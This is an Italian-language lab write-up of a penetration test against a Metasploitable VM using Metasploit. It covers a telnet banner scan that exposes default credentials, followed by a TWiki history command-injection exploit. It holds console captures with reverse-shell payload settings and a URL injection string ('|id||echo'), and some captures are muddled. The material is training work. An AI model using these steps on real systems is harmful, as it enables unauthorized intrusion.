

```

kali@kali: ~
Usage: 2%

File Actions Edit View Help

(kali@kali)-[~]
$ msfconsole

      dBBBbBbB  dBBBP dBBBbBbB dBBBbBbB
      'dB'      BBP
dB'dB'dB' dBBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBbBP dBP dBBBbBbB

      dBBBbBP dBBBbBbB dBP dBBBbBP dBP dBBBbBbBP
      dB' dBP dB'.BP
      dBP dBBBbB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
      | dBBBbBP dBP dBBBbBP dBBBbBP dBP dBP

To boldly go where no
shell has gone before

=[ metasploit v6.3.16-dev ]
+ -- ==[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- ==[ 975 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search telnet

Matching Modules

# Name Disclosure Date Rank
Check Description
- -
0 exploit/linux/misc/asus_infosvr_auth_bypass_exec 2015-01-04 excellent
No ASUS infosvr Auth Bypass Command Execution
1 exploit/linux/http/asuswrt_lan_rce 2018-01-22 excellent
No AsusWRT LAN Unauthenticated Remote Code Execution
2 auxiliary/server/capture/telnet normal
No Authentication Capture: Telnet
3 auxiliary/scanner/telnet/brocade_enable_login normal
No Brocade Enable Login Check Scanner
4 exploit/windows/proxy/ccproxy_telnet_ping 2004-11-11 average
Yes CCProxy Telnet Proxy Ping Overflow

```

Attraverso il comando “show options” ho visualizzato i parametri necessari ed aggiunto l’indirizzo IP da attaccare settando RHOSTS. Con “show options” ho verificato se la modifica fosse stata effettuata.

```
kali@kali: ~  
File Actions Edit View Help  
34 auxiliary/scanner/telnet/telnet_login normal  
No telnet Login Check Scanner  
35 auxiliary/scanner/telnet/telnet_version normal  
No telnet Service Banner Detection  
36 auxiliary/scanner/telnet/telnet_encrypt_overflow normal  
No telnet Service Encryption Key ID Overflow Detection  
37 payload/cmd/unix/bind_busybox_telnetd normal  
No Unix Command Shell, Bind TCP (via BusyBox telnetd)  
38 payload/cmd/unix/reverse normal  
No Unix Command Shell, Double Reverse TCP (telnet)  
39 payload/cmd/unix/reverse_ssl_double_telnet normal  
No Unix Command Shell, Double Reverse TCP SSL (telnet)  
40 payload/cmd/unix/reverse_bash_telnet_ssl normal  
No Unix Command Shell, Reverse TCP SSL (telnet)  
41 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05 great  
Yes VyOS restricted-shell Escape and Privilege Escalation  
42 post/windows/gather/credentials/mremote normal  
No Windows Gather mRemote Saved Password Extraction  
  
Interact with a module by name or index. For example info 42, use 42 or use post/windows/gather/credentials/mremote  
  
msf6 > use 35  
msf6 auxiliary(scanner/telnet/telnet_version) > show options  
  
Module options (auxiliary/scanner/telnet/telnet_version):  


| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                |
| RHOSTS   |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                  |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                    |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                           |
| USERNAME |                 | no       | The username to authenticate as                                                                        |

  
View the full module info with the info, or info -d command.  
  
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40  
RHOSTS => 192.168.1.40  
msf6 auxiliary(scanner/telnet/telnet_version) > show options  
  
Module options (auxiliary/scanner/telnet/telnet_version):  


| Name     | Current Setting | Required | Description                                                                                            |
|----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                |
| RHOSTS   | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                  |


```

Successivamente con il comando exploit ho iniziato l'attacco ottenendo le credenziali che stavo cercando.

```

kali@kali: ~
Usage: 0%

File Actions Edit View Help

RPORT      23      yes      ng-metasploit/basics/using-metasploit.html
THREADS    1        yes      The target port (TCP)
TIMEOUT    30        yes      The number of concurrent threads (max one per host)
USERNAME   no         yes      Timeout for the Telnet probe
           no         yes      The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD   no              no        The password for the specified username
RHOSTS     192.168.1.40    yes       The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html
RPORT      23              yes       The target port (TCP)
THREADS    1                yes       The number of concurrent threads (max one per host)
TIMEOUT    30              yes       Timeout for the Telnet probe
USERNAME   no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
ng: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogi
n with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >

```

Ho verificato il successo dell'attacco riuscendo ad accedere alla macchina Metasploit da Kali.

```
kali@kali: ~  
File Actions Edit View Help  
TIMEOUT 30 yes Timeout for the Telnet probe  
USERNAME no The username to authenticate as  
View the full module info with the info, or info -d command.  
msf6 auxiliary(scanner/telnet/telnet_version) > exploit  
[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET [www.data]  
Warning: Never expose this VM to an untrusted network!  
msfdev[at]metasploit.com\nLogin with msfadmin/msfadmin to get started\n[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40  
[*] exec: telnet 192.168.1.40  
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^['.  
metasploitable  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
metasploitable login: msfadmin  
Password:  
Last login: Tue Jun 13 08:47:00 EDT 2023 on pts/2  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmin@metasploitable:~$
```



# Attacco Twiki

Ho cercato Twiki su Metasploit per vedere la lista degli exploit disponibili. Ho usato il numero 2 perchè è una vulnerabilità presente anche nella descrizione di Nessus. Ho utilizzato il comando show options per la verifica dei parametri necessari all'exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > back
msf6 > search twiki

Matching Modules
==
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/moinmoin_twikidraw	2012-12-30	manual	Yes	MoinMoin twikidraw Action Traversal File Upload
1	exploit/http/twiki_debug_plugins	2014-10-09	excellent	Yes	twiki Debugenableplugins Remote Code Execution
2	exploit/unix/webapp/twiki_history	2005-09-14	excellent	Yes	twiki History twikiUsers rev Parameter Command Execution
3	exploit/unix/webapp/twiki_maketext	2012-12-15	excellent	Yes	twiki MAKETEXT Remote Command Execution
4	exploit/unix/webapp/twiki_search	2004-10-01	excellent	Yes	twiki Search Function Arbitrary Command Execution

Interact with a module by name or index. For example `info 4`, use `4` or use `exploit/unix/webapp/twiki_search`

```
msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
URI	/twiki/bin	yes	twiki bin directory path
VHOST		no	HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

Ho modificato RHOSTS con l'IP della macchina da attaccare e richiesto i payloads disponibili.

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.1.40  
RHOSTS => 192.168.1.40  
msf6 exploit(unix/webapp/twiki_history) > show options  
Module options (exploit/unix/webapp/twiki_history):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.1.40    | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                  |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                               |
| VHOST   |                 | no       | HTTP server virtual host                                                                               |

  
Payload options (cmd/unix/python/meterpreter/reverse_tcp):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.25    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/webapp/twiki_history) > show payloads  
Compatible Payloads  


| #                           | Name                                  | Disclosure Date | Rank   | Check | Description             |
|-----------------------------|---------------------------------------|-----------------|--------|-------|-------------------------|
| 0                           | payload/cmd/unix/bind_awk             |                 | normal | No    | Unix Command Shell, Bin |
| d TCP (via AWK)             |                                       |                 |        |       |                         |
| 1                           | payload/cmd/unix/bind_busybox_telnetd |                 | normal | No    | Unix Command Shell, Bin |
| d TCP (via BusyBox telnetd) |                                       |                 |        |       |                         |
| 2                           | payload/cmd/unix/bind_inetd           |                 | normal | No    | Unix Command Shell, Bin |
| d TCP (inetd)               |                                       |                 |        |       |                         |
| 3                           | payload/cmd/unix/bind_jjs             |                 | normal | No    | Unix Command Shell, Bin |
| d TCP (via jjs)             |                                       |                 |        |       |                         |
| 4                           | payload/cmd/unix/bind_lua             |                 | normal | No    | Unix Command Shell, Bin |
| d TCP (via Lua)             |                                       |                 |        |       |                         |


```

Ho utilizzato il payload numero 35 e l'ho settato.

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(unix/webapp/twiki_history) > use payload/cmd/unix/reverse  
msf6 payload(cmd/unix/reverse) > show options  
Module options (payload/cmd/unix/reverse):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |

  
View the full module info with the info, or info -d command.
```

Ho modificato LHOST e verificato successivamente la vulnerabilità nella pagina Twiki.

```
kali@kali: ~  
Applications Edit View Help  
msf6 payload(cmd/unix/reverse) > set LHOST 192.168.1.25  
LHOST => 192.168.1.25  
msf6 payload(cmd/unix/reverse) > show options  
Module options (payload/cmd/unix/reverse):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.1.25    | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |

  
View the full module info with the info, or info -d command.  
  
msf6 payload(cmd/unix/reverse) > exploit  
[*] Payload Handler Started as Job 0  
msf6 payload(cmd/unix/reverse) >  
[*] Started reverse TCP double handler on 192.168.1.25:4444  
id  
[*] exec: id  
  
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),  
44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)  
msf6 payload(cmd/unix/reverse) >
```

```
1 2 3 4  
TWiki . Main . TWikiUsers (r1.2 |id||echo )  
192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2 |id||echo%20  
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec  
TWiki > Main > TWikiUsers (r1.2 |id||echo )  
Main . { Users | Groups | Offices | Changes | Index | Search | Go }  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
Topic TWikiUsers . { Edit | Attach | Ref-By | Printable | Diffs | r1.16 | > | r1.15 | > | r1.14 | More }  
Revision r1.2 |id||echo - 01 Jan 1970 - 00:00 GMT -  
Copyright © 1999-2003 by the contributing authors. All material on this  
collaboration platform is the property of the contributing authors.  
Ideas, requests, problems regarding TWiki? Send feedback.
```